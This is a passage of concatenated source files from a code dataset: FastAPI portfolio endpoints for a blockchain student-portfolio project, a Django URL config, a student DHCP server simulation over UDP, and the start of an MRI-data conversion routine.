user_avatar_dir.exists():\n logger.warning(\n f\"Directory for the {user_avatar_dir} is missing, now created.\"\n )\n user_avatar_dir.mkdir()\n\n # - Write the avatar file.\n async with aopen(resolved_avatar_dir, \"wb\") as avatar_file_writer:\n await avatar_file_writer.write(avatar.file.read())\n\n try:\n # - Save it from the database, and encode the resources.\n # - Frontend should return the given data back.\n update_user_editable_info: Update = (\n users.update()\n .where(users.c.unique_address == student_address_ref)\n .values(\n avatar=resolved_avatar_dir,\n description=description,\n skills=personal_skills,\n preferred_role=preferred_role,\n )\n )\n await gather(\n database_instance.execute(update_user_editable_info),\n save_database_state_to_volume_storage(),\n )\n\n except IntegrityError:\n raise HTTPException(\n detail=\"There was an error from updating your user profile.\",\n status_code=HTTPStatus.INTERNAL_SERVER_ERROR,\n )\n\n return Response(status_code=HTTPStatus.ACCEPTED)\n\n\n@dashboard_router.get(\n \"/portfolio\",\n tags=[DashboardAPI.INSTITUTION_API.value, DashboardAPI.STUDENT_API.value],\n response_model=Portfolio,\n summary=\"Renders the portfolio of this student.\",\n description=\"An API-exclusive to students where they can view their portfolio.\",\n)\nasync def get_portfolio(\n blockchain_instance: BlockchainMechanism | None = Depends(get_blockchain_instance),\n database_instance: Database = Depends(get_database_instance),\n returned_address_ref: AddressUUID\n | None = Depends(\n EnsureAuthorized(\n _as=[\n UserEntity.ORGANIZATION_DASHBOARD_USER,\n UserEntity.STUDENT_DASHBOARD_USER,\n ],\n return_address_from_token=True,\n allow_anonymous=True,\n )\n ),\n address: AddressUUID\n | None = Query(\n None,\n title=\"The address of the student, which should render their portfolio, if allowed.\",\n ),\n) -> Portfolio:\n if not isinstance(blockchain_instance, BlockchainMechanism):\n raise HTTPException(\n detail=\"Blockchain module is initializing, please try again later.\",\n status_code=HTTPStatus.SERVICE_UNAVAILABLE,\n )\n\n # * State variables.\n authorized_anonymous_user: bool = False\n authorized_org_user: bool = False\n confirmed_student_address: Any # ! I don't know how to type-hint this.\n\n # ! Regardless of who accessed this endpoint, the portfolio is applied for both `AnonymousUsers` and `AuthenticatedStudentUsers`.\n # # Condition\n # @o For [1] 'anonymous users', they need to fill the `address` query parameter. Otherwise return `HTTPException`.\n # @o For [2] authenticated users such as student, there's no need to fill the `address` query parameter, though if there is, it will get prohitibited for explicitly doing it.\n # @o For [3] authenticated users such as organization, there's a need to fill the `address` query parameter, and ensure that address is associated from the organization's association address, otherwise, it will return an `HTTPException`.\n\n # - [0] Resolution the condition upon various roles.\n\n # - Condition wherein the user is not authenticated and there's no `address` query parameter value.\n\n if address is None and returned_address_ref is None:\n raise HTTPException(\n detail=\"Failed to access portfolio as the given parameter is empty or the user is not authorized to do so.\",\n status_code=HTTPStatus.NOT_FOUND,\n )\n\n # - This condition assumes that the 'anonymous' user tries to access the portfolio of someone else with reference from the `address` query parameter.\n elif address is not None and returned_address_ref is None:\n authorized_anonymous_user = True\n\n # - Condition where we check that the `portfolio address is specified` but there is an authentication wherein the authorizer returns an address.\n # @o This is where we handle whether this accessor is an organization member or just an student.\n\n else: # * Resolutes to checking the `returned_address_ref` while dynamically checking the `address` based on the scope of `STUDENT_DASHBOARD_USER` and `ORGANIZATION_DASHBOARD_USER`.\n # elif address is not None and returned_address_ref is not None:\n\n # - Check the address first by getting its type.\n validate_user_type_query: Select = select([users.c.type]).where(\n users.c.unique_address == returned_address_ref\n )\n\n fetched_user_type: UserEntity | None = await database_instance.fetch_val(\n validate_user_type_query\n )\n\n if fetched_user_type is None:\n raise HTTPException(\n detail=\"Specified portfolio address not found.\",\n status_code=HTTPStatus.NOT_FOUND,\n )\n\n # - Resolve user's type and check on what to do.\n if (\n fetched_user_type is UserEntity.ORGANIZATION_DASHBOARD_USER\n and returned_address_ref is not None\n and address is not None\n ):\n authorized_org_user = True # * Allow organizations to access this portfolio, as long it belongs to their organization.\n\n # - Check if this organization associates within the address.\n get_org_association_address_query: Select = select(\n [users.c.association]\n ).where(users.c.unique_address == returned_address_ref)\n\n org_assocation_address = await database_instance.fetch_val(\n get_org_association_address_query\n )\n\n if org_assocation_address is None:\n raise HTTPException(\n detail=\"Failed to get the association of then authenticated user. This should not be possible, please report this issue to the developers to get it fixed.\",\n status_code=HTTPStatus.UNPROCESSABLE_ENTITY,\n )\n\n get_address_association_query: Select = select([users.c.association]).where(\n users.c.unique_address == address\n if address is not None\n else returned_address_ref\n )\n\n student_address_association = await database_instance.fetch_val(\n get_address_association_query\n )\n\n if student_address_association is None:\n raise HTTPException(\n detail=\"Portfolio's association address does not exists. This is not possible, please report this to the developers to get it fixed.\",\n status_code=HTTPStatus.UNPROCESSABLE_ENTITY,\n )\n\n if student_address_association != org_assocation_address:\n raise HTTPException(\n detail=\"The referred portfolio address does not associate from this organization's association address. Not allowed.\",\n status_code=HTTPStatus.FORBIDDEN,\n )\n\n logger.info(\n \"Dashboard API, Portfolio Parser | Association address for both organization and student is correct.\"\n )\n\n elif (\n fetched_user_type is UserEntity.STUDENT_DASHBOARD_USER\n and returned_address_ref is not None\n and address is None\n ):\n\n # - By this point, the student was mostly validated due to `return_address_ref` and `fetched_user_type` queries.\n\n logger.info(\n \"Dashboard API, Portfolio Parser | Student case already validates `unique_address` and `type`. Proceeding by doing nothing on this case ...\"\n )\n\n else:\n raise HTTPException(\n detail=\"Failed to proceed due to conditions being unmet. Either an explicit address is invoked when student is authenticated, or does organization tried to access with context missing. Please contact the developers if you think this is a mistake.\",\n status_code=HTTPStatus.UNPROCESSABLE_ENTITY,\n )\n\n # - [1] Check if student has a `STUDENT_BASE` tx_mapping with a variety of conditions handled.\n\n # @o Condition for the anonymous or organization accessing the portfolio.\n if authorized_anonymous_user or authorized_org_user:\n # - Check if the specified portfolio exists.\n check_portfolio_validity_query: Select = select(\n [tx_content_mappings.c.address_ref]\n ).where(\n (\n tx_content_mappings.c.address_ref\n == (address if address is not None else returned_address_ref)\n )\n & (\n tx_content_mappings.c.content_type\n == TransactionContextMappingType.STUDENT_BASE\n )\n )\n\n result_portfolio_context = await database_instance.fetch_val(\n check_portfolio_validity_query\n ) # ! I cannot type hint this for some reason.\n\n if result_portfolio_context is None:\n raise HTTPException(\n detail=\"Portfolio not found.\", status_code=HTTPStatus.NOT_FOUND\n )\n\n # - From here, handle organization members wherein the `address` should be their association.\n # @o The reason why is that, this user may have been looking from the inserter context of the organization view.\n\n if authorized_org_user and not authorized_anonymous_user:\n # - Get the association address of the student first.\n get_student_association_addresss_ref_query: Select = select(\n [users.c.association]\n ).where(users.c.unique_address == result_portfolio_context)\n\n student_association_ref: str | None = await database_instance.fetch_val(\n get_student_association_addresss_ref_query\n )\n\n if student_association_ref is None:\n raise HTTPException(\n detail=\"Association address reference does not exist. Please report this to the developers as this shouldn't be possible.\",\n status_code=HTTPStatus.UNPROCESSABLE_ENTITY,\n )\n\n # - Since the authorizer returns the address of the user who accessed this endpoint, get its association.\n get_org_association_query: Select = select([users.c.association]).where(\n users.c.unique_address\n == (address if address is not None else returned_address_ref)\n )\n\n org_association_ref: str | None = await database_instance.fetch_val(\n get_org_association_query\n )\n\n if org_association_ref is None:\n raise HTTPException(\n detail=\"Organization doesn't have an association reference, please report this to the developers as this shouldn't be possible.\",\n status_code=HTTPStatus.UNPROCESSABLE_ENTITY,\n )\n\n # # Compare the organization's association reference against the student's association reference.\n if org_association_ref != student_association_ref:\n raise HTTPException(\n detail=\"The organization's association reference does not match from this student, access denied.\",\n status_code=HTTPStatus.CONFLICT,\n )\n\n confirmed_student_address = result_portfolio_context\n\n logger.info(\n f\"Student Portfolio Access: via {'Organization' if authorized_org_user and not authorized_anonymous_user else 'Anonymous / Direct link'} Context.\"\n )\n\n else: # * Resolves to `authorized_anonymous_user` and NOT `authorized_org_user`.\n\n # - Check if this student has its own transaction mapping.\n get_tx_ref_student_query: Select = select(\n [tx_content_mappings.c.address_ref]\n ).where(\n (\n tx_content_mappings.c.address_ref\n == (address if address is not None else returned_address_ref)\n )\n & (\n tx_content_mappings.c.content_type\n == TransactionContextMappingType.STUDENT_BASE\n )\n )\n\n tx_ref_student = await database_instance.fetch_val(get_tx_ref_student_query)\n\n if tx_ref_student is None:\n raise HTTPException(\n detail=f\"Student portfolio reference to transaction mapping not found. This may occur when the student doesn't allow viewing of their portfolio.\",\n status_code=HTTPStatus.NOT_FOUND,\n )\n\n confirmed_student_address = tx_ref_student\n\n # - [2] Load the portfolio properties.\n # ! This will not be used for rendering the share button state.\n # ! This was fetched to better render the portfolio from its current state.\n get_portfolio_properties_query: Select = select(\n [\n portfolio_settings.c.sharing_state,\n portfolio_settings.c.expose_email_state,\n portfolio_settings.c.show_files,\n ]\n ).where(portfolio_settings.c.from_user == confirmed_student_address)\n\n portfolio_properties = await database_instance.fetch_one(\n get_portfolio_properties_query\n )\n\n if portfolio_properties is None:\n raise HTTPException(\n detail=\"Portfolio settings for this student does not exists. Schema may be outdated.\",\n status_code=HTTPStatus.INTERNAL_SERVER_ERROR,\n )\n\n # - Check if this was an anonymous and not an organization or anyone else.\n if authorized_anonymous_user and not authorized_org_user:\n if not portfolio_properties.sharing_state:\n raise HTTPException(\n detail=\"Anonymous access not allowed from this portoflio.\",\n status_code=HTTPStatus.FORBIDDEN,\n )\n\n # - [3] Fetch references of the `STUDENT_LOG` and `STUDENT_EXTRA` on the `tx_content_mappings` table.\n # * Seperated the query because we need to display both of them distinctively.\n tx_log_student_refs_query: Select = tx_content_mappings.select().where(\n (tx_content_mappings.c.address_ref == confirmed_student_address)\n & (\n tx_content_mappings.c.content_type\n == TransactionContextMappingType.STUDENT_LOG\n )\n )\n tx_extra_student_refs_query: Select = tx_content_mappings.select().where(\n (tx_content_mappings.c.address_ref == confirmed_student_address)\n & (\n tx_content_mappings.c.content_type\n == TransactionContextMappingType.STUDENT_ADDITIONAL\n )\n )\n tx_log_student_refs: list[Mapping] = await database_instance.fetch_all(\n tx_log_student_refs_query\n )\n tx_extra_student_refs: list[Mapping] = await database_instance.fetch_all(\n tx_extra_student_refs_query\n )\n\n # - [4] Fetch those `logs` and `extras` inside the blockchain system.\n # - [5] If possible, filter the retrieved content by checking the conditions based from the portfolio settings, whether to hide a data or not.\n # @o Type-hint and container variables.\n resolved_tx_logs_container: list[PortfolioLoadedContext] = []\n resolved_tx_extra_container: list[PortfolioLoadedContext] = []\n\n if tx_log_student_refs is not None:\n for log_info in tx_log_student_refs:\n resolved_tx_info: PortfolioLoadedContext | None = (\n await blockchain_instance.get_content_from_chain(\n block_index=log_info.block_no_ref,\n tx_target=log_info.tx_ref,\n tx_timestamp=log_info.timestamp,\n show_file=portfolio_properties.show_files,\n )\n )\n\n if resolved_tx_info is not None:\n resolved_tx_logs_container.append(resolved_tx_info)\n\n if tx_extra_student_refs is not None:\n for extra_info in tx_extra_student_refs:\n resolved_tx_extra: PortfolioLoadedContext | None = await blockchain_instance.get_content_from_chain(\n block_index=extra_info.block_no_ref,\n tx_target=extra_info.tx_ref,\n tx_timestamp=extra_info.timestamp,\n show_file=False, # * Default, since `extra` fields, contain nothing.\n )\n\n if resolved_tx_extra is not None:\n resolved_tx_extra_container.append(resolved_tx_extra)\n\n # - [6] Resolve other attributes that is out of `log` and `extra` fields.\n # @o Type-hints.\n\n get_user_basic_info_query: Select = select(\n [\n users.c.association,\n users.c.avatar,\n users.c.description,\n users.c.email,\n users.c.preferred_role,\n users.c.program,\n users.c.skills,\n ]\n ).where(users.c.unique_address == confirmed_student_address)\n resolved_user_basic_info = await database_instance.fetch_one(\n get_user_basic_info_query\n )\n # - [7] Sort the containers.\n resolved_tx_logs_container.sort(\n key=lambda tx_context: tx_context.context.timestamp, reverse=True\n )\n resolved_tx_extra_container.sort(\n key=lambda tx_context: tx_context.context.timestamp, reverse=True\n )\n\n # - [8] Return the pydantic model.\n return Portfolio(\n address=confirmed_student_address,\n email=resolved_user_basic_info.email\n if portfolio_properties.expose_email_state\n else None,\n program=resolved_user_basic_info.program,\n preferred_role=resolved_user_basic_info.preferred_role,\n association=resolved_user_basic_info.association,\n avatar=resolved_user_basic_info.avatar,\n description=resolved_user_basic_info.description,\n personal_skills=resolved_user_basic_info.skills,\n logs=resolved_tx_logs_container,\n extra=resolved_tx_extra_container,\n )\n\n\n@dashboard_router.get(\n \"/portfolio/{address_ref}/file/{file_hash}\",\n tags=[DashboardAPI.STUDENT_API],\n summary=\"Returns the file in raw form.\",\n description=\"An API endpoint that returns file resources with respect to the portfolio's setting regarding file resource accessibility.\",\n)\nasync def get_portfolio_file(\n database_instance: Database = Depends(get_database_instance),\n address_ref: AddressUUID = PathParams(\n ..., title=\"The address reference from the portfolio.\"\n ),\n file_hash: HashUUID = PathParams(\n ...,\n title=\"The transaction hash from where the file was located, plus the actual filename.\",\n ),\n) -> Response:\n # # This endpoint doesn't care who you are at this point. Since address were specified, portfolio settings are going to be the dependency of the endpoint whether, to return a file or not.\n\n # ! Late import due to variable change on initial phase of the node.\n from core.constants import USER_FILES_FOLDER_NAME\n\n # - [1] Get the student address.\n validate_user_address_query: Select = select([func.count()]).where(\n users.c.unique_address == address_ref\n )\n\n user_address_is_valid = await database_instance.fetch_val(\n validate_user_address_query\n )\n\n if not user_address_is_valid:\n raise HTTPException(\n detail=\"Address specified not found.\", status_code=HTTPStatus.NOT_FOUND\n )\n\n # - [2] Get portfolio settings.\n get_address_portfolio_query: Select = portfolio_settings.select().where(\n portfolio_settings.c.from_user == address_ref\n )\n\n address_portfolio = await database_instance.fetch_one(get_address_portfolio_query)\n\n if address_portfolio is None:\n raise HTTPException(\n detail=\"Portfolio of this address does not exist. This is not possible and is not user's fault, please contact the developer regarding this issue to get it resolved.\",\n status_code=HTTPStatus.INTERNAL_SERVER_ERROR,\n )\n\n # - [3] Obligatory, check if the portfolio settings states that sharing is allowed, states to look at is `sharing_state` and `show_files`.\n if not address_portfolio.sharing_state or not address_portfolio.show_files:\n raise HTTPException(\n detail=\"Address specified prohibit access of the file.\",\n status_code=HTTPStatus.FORBIDDEN,\n )\n\n # - [4] If it's allowed, check for the transaction mapping.\n try:\n splitted_file_hash_ref: list[str] = file_hash.split(\"_\")\n\n # ! Divide the path parameter into the following variables.\n resolved_filename: str = splitted_file_hash_ref[0]\n resolved_tx_hash: str = splitted_file_hash_ref[1]\n except IndexError:\n raise HTTPException(\n detail=\"File reference not found.\", status_code=HTTPStatus.NOT_ACCEPTABLE\n )\n\n # * Get the transaction mapping.\n get_tx_ref_query: Select = tx_content_mappings.select().where(\n tx_content_mappings.c.tx_ref == resolved_tx_hash\n )\n\n tx_ref = await database_instance.fetch_one(get_tx_ref_query)\n\n if tx_ref is None:\n raise HTTPException(\n detail=\"Content mapping does not exists. This is not possible, please contact the developers to get it resolved.\",\n status_code=HTTPStatus.NOT_FOUND,\n )\n\n # - [5] Check if the file exists.\n final_resolve_path_to_file: Path = Path(\n f\"{USER_FILES_FOLDER_NAME}/{resolved_filename}\"\n )\n\n if not final_resolve_path_to_file.exists():\n raise HTTPException(\n detail=\"File was not found.\", status_code=HTTPStatus.NOT_FOUND\n )\n\n # - [6] Decrypt the file.\n # @o Since the file has a cryptic filename, by looking at the method `insert_external_transaction` under the condition of handling the file from the `TransactionActions.INSTITUTION_ORG_REFER_NEW_DOCUMENT_OR_IMPORTANT_INFO` with an instance of a pydantic model of `StudentLogTransaction`, which has an actual instance of `StarletteFileUpload`, a.k.a `UploadFile` from the `file` field.\n # * We can see that we can decrypt the file.\n\n datetime_from_encryption: str = tx_ref.timestamp.strftime(\n FILE_PAYLOAD_TIMESTAMP_FORMAT_AS_KEY\n )\n transaction_action_ref_length: int = len(str(TransactionActions.INSTITUTION_ORG_REFER_NEW_DOCUMENT_OR_IMPORTANT_INFO.value)) # type: ignore # ! No other transaction action can be specified.\n\n address_truncation_for_key: int = (\n FILE_PAYLOAD_TO_ADDRESS_CHAR_LIMIT_MAX\n if transaction_action_ref_length == 2\n else FILE_PAYLOAD_TO_ADDRESS_CHAR_LIMIT_MIN\n )\n\n constructed_key_to_decrypt: bytes = f\"{str(TransactionActions.INSTITUTION_ORG_REFER_NEW_DOCUMENT_OR_IMPORTANT_INFO.value)}{address_ref[FILE_PAYLOAD_TO_ADDRESS_START_TRUNCATION_INDEX:-address_truncation_for_key]}{datetime_from_encryption}\".encode(\n \"utf-8\"\n )\n\n # @o Variable hint.\n decrypted_file_content: bytes = b\"\"\n\n async with aopen(final_resolve_path_to_file, \"rb\") as file_decrypter:\n file_read_content: bytes = await file_decrypter.read()\n\n decrypter_instance: Fernet = Fernet(\n key=urlsafe_b64encode(constructed_key_to_decrypt)\n )\n decrypted_file_content = decrypter_instance.decrypt(file_read_content)\n\n return Response(content=decrypted_file_content, media_type=\"application/pdf\")\n\n\n@dashboard_router.get(\n \"/portfolio_settings\",\n tags=[DashboardAPI.STUDENT_API],\n response_model=PortfolioSettings,\n summary=\"Returns the state of the portfolio.\",\n description=\"An API endpoint that returns the state of portfolio, where state changes affects the output of the portfolio.\",\n)\nasync def get_portfolio_settings(\n student_address_ref: AddressUUID\n | None = Depends(\n EnsureAuthorized(\n _as=UserEntity.STUDENT_DASHBOARD_USER, return_address_from_token=True\n )\n ),\n database_instance: Database = Depends(get_database_instance),\n) -> PortfolioSettings:\n\n # - Ensure that this user has a transaction mapping `STUDENT_BASE`.\n validate_tx_mapping_from_user_query: Select = select([func.now()]).where(\n (tx_content_mappings.c.address_ref == student_address_ref)\n & (\n tx_content_mappings.c.content_type\n == TransactionContextMappingType.STUDENT_BASE\n )\n )\n\n contains_tx_mapping: int = await database_instance.fetch_val(\n validate_tx_mapping_from_user_query\n )\n\n if not contains_tx_mapping:\n raise HTTPException(\n detail=\"Student contains no transaction mapping of their content. This should not be possible. Report this issue to the developers for possible-workaround.\",\n status_code=HTTPStatus.NOT_FOUND,\n )\n\n # - Fetch the the portfolio properties of this user.\n get_portfolio_state_query: Select = select(\n [\n portfolio_settings.c.sharing_state,\n portfolio_settings.c.expose_email_state,\n portfolio_settings.c.show_files,\n ]\n ).where(portfolio_settings.c.from_user == student_address_ref)\n\n portfolio_states = await database_instance.fetch_one(get_portfolio_state_query)\n\n return PortfolioSettings(\n enable_sharing=portfolio_states.sharing_state,\n expose_email_info=portfolio_states.expose_email_state,\n show_files=portfolio_states.show_files,\n )\n\n\n@dashboard_router.post(\n \"/apply_portfolio_settings\",\n tags=[DashboardAPI.STUDENT_API],\n summary=\"Applies portfolio setting from student's portfolio.\",\n description=\"An API endpoint that applies changes to the portfolio's state.\",\n status_code=HTTPStatus.ACCEPTED,\n)\nasync def save_portfolio_settings(\n portfolio_state_payload: PortfolioSettings,\n student_address_ref: AddressUUID\n | None = Depends(\n EnsureAuthorized(\n _as=UserEntity.STUDENT_DASHBOARD_USER, return_address_from_token=True\n )\n ),\n database_instance: Database = Depends(get_database_instance),\n) -> Response:\n\n # - Check the state of the `datetime_to_allowed_changes` and see if datetime is way past the current time.\n portfolio_update_expiration_query: Select = select(\n [portfolio_settings.c.datetime_to_allowed_changes]\n ).where(portfolio_settings.c.from_user == student_address_ref)\n\n portfolio_expiration: datetime | None = await database_instance.fetch_val(\n portfolio_update_expiration_query\n )\n\n # - Check conditions regarding the datetime-based rate limitation of state change proposal.\n if portfolio_expiration is None:\n raise HTTPException(\n detail=\"There was no expiration invoked from this user's portfolio.\",\n status_code=HTTPStatus.NOT_ACCEPTABLE,\n )\n\n if portfolio_expiration > datetime.now():\n raise HTTPException(\n detail=f\"Rate-limited, you can apply new changes right after {portfolio_expiration}.\",\n status_code=HTTPStatus.TOO_EARLY,\n )\n\n try:\n # - Update the database when `datetime_to_allowed_changes` were way past the current time.\n update_portfolio_state_query: Update = (\n portfolio_settings.update()\n .where(portfolio_settings.c.from_user == student_address_ref)\n .values(\n sharing_state=portfolio_state_payload.enable_sharing,\n expose_email_state=portfolio_state_payload.expose_email_info,\n show_files=portfolio_state_payload.show_files,\n datetime_to_allowed_changes=datetime.now()\n + timedelta(seconds=PORTFOLIO_COOLDOWN_SECONDS_TO_ALLOW_STATE_CHANGE),\n )\n )\n\n await gather(\n database_instance.execute(update_portfolio_state_query),\n save_database_state_to_volume_storage(),\n )\n\n except IntegrityError:\n raise HTTPException(\n detail=\"There was an error processing your portfolio state change, please try again.\",\n status_code=HTTPStatus.INTERNAL_SERVER_ERROR,\n )\n\n return Response(status_code=HTTPStatus.ACCEPTED)\n","repo_name":"CodexLink/folioblocks","sub_path":"node/api/dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":44743,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"26968429101","text":"\n\nfrom django.urls import path\nfrom posts import views\n\nurlpatterns = [\n\n path('',views.postView,name='post_view_link'),\n path('AjexResponse/',views.testAjex,name='ajex_response_link'),\n path('postViewResponse/<int:num_post>',views.postViewAjax, name='post_view_response_link')\n]\n","repo_name":"jayednahain/Django_blog_with_ajax","sub_path":"posts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23198289125","text":"#####################\n# Oscar Lugo\n# CS436 \n# Project 1\n#\n\nfrom socket import *\nimport ipaddress\nimport ast\n\nIPaddresssesAvailable = list(ipaddress.IPv4Network('192.168.1.0/24'))\nActiveNetwork = {\"NETID\": str(IPaddresssesAvailable[0]), \n\"BROADCAST\" : str(IPaddresssesAvailable[-1]) } \n\nNetworkDb = dict()\n\ndel IPaddresssesAvailable[0] # remove NETID from range\ndel IPaddresssesAvailable[-1] # remove Brodacast from range\n\n# Socket Configuration\nserverPort = 12001 # Randomly selected Port \nserverSocket = socket(AF_INET, SOCK_DGRAM)\nserverSocket.bind(('', serverPort))\n\ndef main():\n print ('The server is ready to receive')\n while 1:\n message, clientAddress = serverSocket.recvfrom(2048) \n modifiedMessage = message.decode().upper()\n print(modifiedMessage)\n if \"DISCOVER\" in modifiedMessage :\n ServerDiscover(modifiedMessage, clientAddress)\n elif \"REQUEST\" in modifiedMessage:\n ServerRequest(modifiedMessage, clientAddress)\n elif \"RELEASE\" in modifiedMessage:\n ReleaseRequest(modifiedMessage, clientAddress)\n elif \"RENEW\" in modifiedMessage:\n ReneweRequest(modifiedMessage, clientAddress)\n elif \"ADMINALL\" in modifiedMessage:\n adminRequestAll(modifiedMessage, clientAddress)\n else:\n print(\"Invalid Message received from DHCPClient\")\n quit()\n\n########\n# Handler DISCOVER received from Client\n# IF Client already in Active network reply ALREADYINNETWORK \n# IF No available IP then reply DECLINE\n# IF Precious record exist for MAC address , OFFER with prev used IP if available\n# No previous checbked condition met, OFFER next available IP\n####\ndef ServerDiscover(message, cAddress):\n maconly = message.split('%') # clean for MAC address only\n #print(\"Debug Maconly \"+ maconly[1])\n if maconly[1] in ActiveNetwork: # Client already in Network\n print(\"Server: Client \" + maconly[1] + \" already in Network\")\n AlreadyInNetMssg = \"ALREADYINNETWORK\"+ maconly[1]\n serverSocket.sendto(AlreadyInNetMssg.encode(), cAddress) \n elif len(IPaddresssesAvailable) == 0: # if IP pool is fully occupied\n IPFull = \"Server: DECLINE, Terminating system\"\n serverSocket.sendto(IPFull.encode(), cAddress)\n quit()\n elif maconly[1] in NetworkDb: #Check records to see if IP previously assigned\n print(\"Client \" + maconly[1] + \" previous IP \" + NetworkDb[maconly[1]] )\n if NetworkDb[maconly[1]] in IPaddresssesAvailable: # Offer prev used IP\n offerMessage = \"Server: OFFER%\" +maconly[1]+'%' + NetworkDb[maconly[1]]\n print(offerMessage)\n serverSocket.sendto(offerMessage.encode(), cAddress)\n else: #Offer Next Available\n availableIP = IPaddresssesAvailable[0] # Next available IP\n offerIPMessage = \"Server: OFFER%\" + maconly[1] +\"%\"+ str(availableIP)\n print(offerIPMessage)\n serverSocket.sendto(offerIPMessage.encode(), cAddress) \n #if IP Pool not fully occupied and MAC not previously assigned\n else:\n availableIP = IPaddresssesAvailable[0] # Next available IP\n offerIPMessage = \"Server: OFFER%\" + maconly[1] +\"%\"+ str(availableIP)\n print(offerIPMessage)\n serverSocket.sendto(offerIPMessage.encode(), cAddress)\n\n#####################\n# Handle REQUEST from Client\n# IF IP prev offered is still available, accept requet \n# NOT available OFFER again with next available IP\n#\ndef ServerRequest(message, cAddress):\n #print(\"Debug: \" + message)\n separatedMessage = message.split('%')\n macOnly = separatedMessage[1]\n #print(\"Debug MAC: \" + macOnly)\n IPOnly = separatedMessage[2]\n #print(\"Debug IP: \" + IPOnly)\n #If IP offered is still available\n if ipaddress.IPv4Address(IPOnly) in IPaddresssesAvailable:\n #print(\"DEbug: IP still available\")\n IPaddresssesAvailable.remove(ipaddress.IPv4Address(IPOnly)) #Remove from available IP addresses\n ActiveNetwork[macOnly] = IPOnly # add to ActiveNetwork\n NetworkDb[macOnly] = IPOnly # add to MAC Addres IP record\n AckMessage = \"Server: ACKNOWLEDGED%\" +macOnly +'%' +IPOnly\n print(AckMessage)\n serverSocket.sendto(AckMessage.encode(), cAddress) \n else: # If not available anymore, offer first available IP\n print(\"Not available anymore\")\n availableIP = IPaddresssesAvailable[0] # Next available IP\n offerIPMessage = \"Server: OFFER%\" + macOnly +\"%\"+ str(availableIP)\n print(offerIPMessage)\n serverSocket.sendto(offerIPMessage.encode(), cAddress)\n\n#####################\n# Handle RELEASE message from Client\n# Remove from active network and re add to available IP List\n#\ndef ReleaseRequest(message, cAddress):\n maconly = message.split('%') # clean for MAC address only\n #print(\"Debug Maconly \"+ maconly[1])\n #Remove from Active Network\n if maconly[1] in ActiveNetwork:\n #Re add to Avilable IPs list\n IPaddresssesAvailable.insert(0, ipaddress.IPv4Address( ActiveNetwork[maconly[1]]) )\n del ActiveNetwork[maconly[1]] # Remove from active Network\n print(\"Client \" + maconly[1] + \" Removed from Network\")\n AlreadyInNetMssg = \"ALREADYINNETWORK\" + maconly[1]\n serverSocket.sendto(AlreadyInNetMssg.encode(), cAddress)\n else:\n print(\"Error, MAC Not found\")\n\n#####################\n# Handle RENEW received from Client\n# Send OFFER with next available IP\n#\ndef ReneweRequest(message, cAddress):\n maconly = message.split('%') # clean for MAC address only\n #print(\"Debug Maconly \"+ maconly[1])\n #Re add from Active Network\n availableIP = IPaddresssesAvailable[0] # Next available IP\n offerIPMessage = \"Server: OFFER%\" + maconly[1] +\"%\"+ str(availableIP)\n print(offerIPMessage)\n serverSocket.sendto(offerIPMessage.encode(), cAddress) \n\n#####################\n# Handle Admin request to List Active network\n#\ndef adminRequestAll(message, cAddress):\n payloadStr = str(ActiveNetwork)\n serverSocket.sendto(payloadStr.encode(), cAddress)\n\n\nif __name__ == '__main__':\n main()","repo_name":"oscarl1127/CSUSM_CS481","sub_path":"DHCPServer.py","file_name":"DHCPServer.py","file_ext":"py","file_size_in_byte":6104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5174412345","text":"'''Populate ISMRMRD Acquisition object with data from ChannelHeaderAndData.\n'''\n\nimport warnings\nimport logging\n\nimport numpy as np\nwith warnings.catch_warnings():\n warnings.filterwarnings('ignore', category=FutureWarning)\n from ismrmrd import Acquisition\n\nfrom mr_utils.load_data.s2i import defs\n\ndef getAcquisition(flash_pat_ref_scan, trajectory, dwell_time_0, max_channels,\n _isAdjustCoilSens, _isAdjQuietCoilSens, _isVB, traj,\n scanhead, channels):\n '''Create ISMRMRD acqusition object for the current channel data.'''\n\n ismrmrd_acq = Acquisition()\n # The number of samples, channels and trajectory dimensions is set below\n\n # Acquisition header values are zero by default\n ismrmrd_acq.measurement_uid = scanhead['lMeasUID']\n ismrmrd_acq.scan_counter = scanhead['ulScanCounter']\n ismrmrd_acq.acquisition_time_stamp = scanhead['ulTimeStamp']\n ismrmrd_acq.physiology_time_stamp[0] = scanhead['ulPMUTimeStamp'] #pylint: disable=E1101\n ismrmrd_acq.available_channels = max_channels\n # Mask to indicate which channels are active. Support for 1024 channels\n # uint64_t channel_mask[16];\n ismrmrd_acq.discard_pre = scanhead['sCutOff']['ushPre']\n ismrmrd_acq.discard_post = scanhead['sCutOff']['ushPost']\n ismrmrd_acq.center_sample = scanhead['ushKSpaceCentreColumn']\n\n # std::cout << \"isAdjustCoilSens, isVB : \" << isAdjustCoilSens << \" \"\n # << isVB << std::endl;\n\n # Is this is noise?\n if scanhead['aulEvalInfoMask'][0] & (1 << 25):\n # raise NotImplementedError()\n ismrmrd_acq.sample_time_us = 0 # filler\n # ismrmrd_acq.sample_time_us() = compute_noise_sample_in_us(\n # scanhead.ushSamplesInScan, isAdjustCoilSens, isAdjQuietCoilSens,\n # isVB)\n else:\n ismrmrd_acq.sample_time_us = dwell_time_0 / 1000.0\n\n # std::cout << \"ismrmrd_acq.sample_time_us(): \"\n # << ismrmrd_acq.sample_time_us() << std::endl;\n\n ismrmrd_acq.position[0] = scanhead['sSliceData']['sSlicePosVec']['flSag'] #pylint: disable=E1101\n ismrmrd_acq.position[1] = scanhead['sSliceData']['sSlicePosVec']['flCor'] #pylint: disable=E1101\n ismrmrd_acq.position[2] = scanhead['sSliceData']['sSlicePosVec']['flTra'] #pylint: disable=E1101\n\n # Convert Siemens quaternions to direction cosines.\n # In the Siemens convention the quaternion corresponds to a rotation\n # matrix with columns P R S\n # Siemens stores the quaternion as (W,X,Y,Z)\n quat = np.zeros(4)\n quat[0] = scanhead['sSliceData']['aflQuaternion'][1] # X\n quat[1] = scanhead['sSliceData']['aflQuaternion'][2] # Y\n quat[2] = scanhead['sSliceData']['aflQuaternion'][3] # Z\n quat[3] = scanhead['sSliceData']['aflQuaternion'][0] # W\n # ISMRMRD::ismrmrd_quaternion_to_directions(quat,\n # ismrmrd_acq.phase_dir(),\n # ismrmrd_acq.read_dir(),\n # 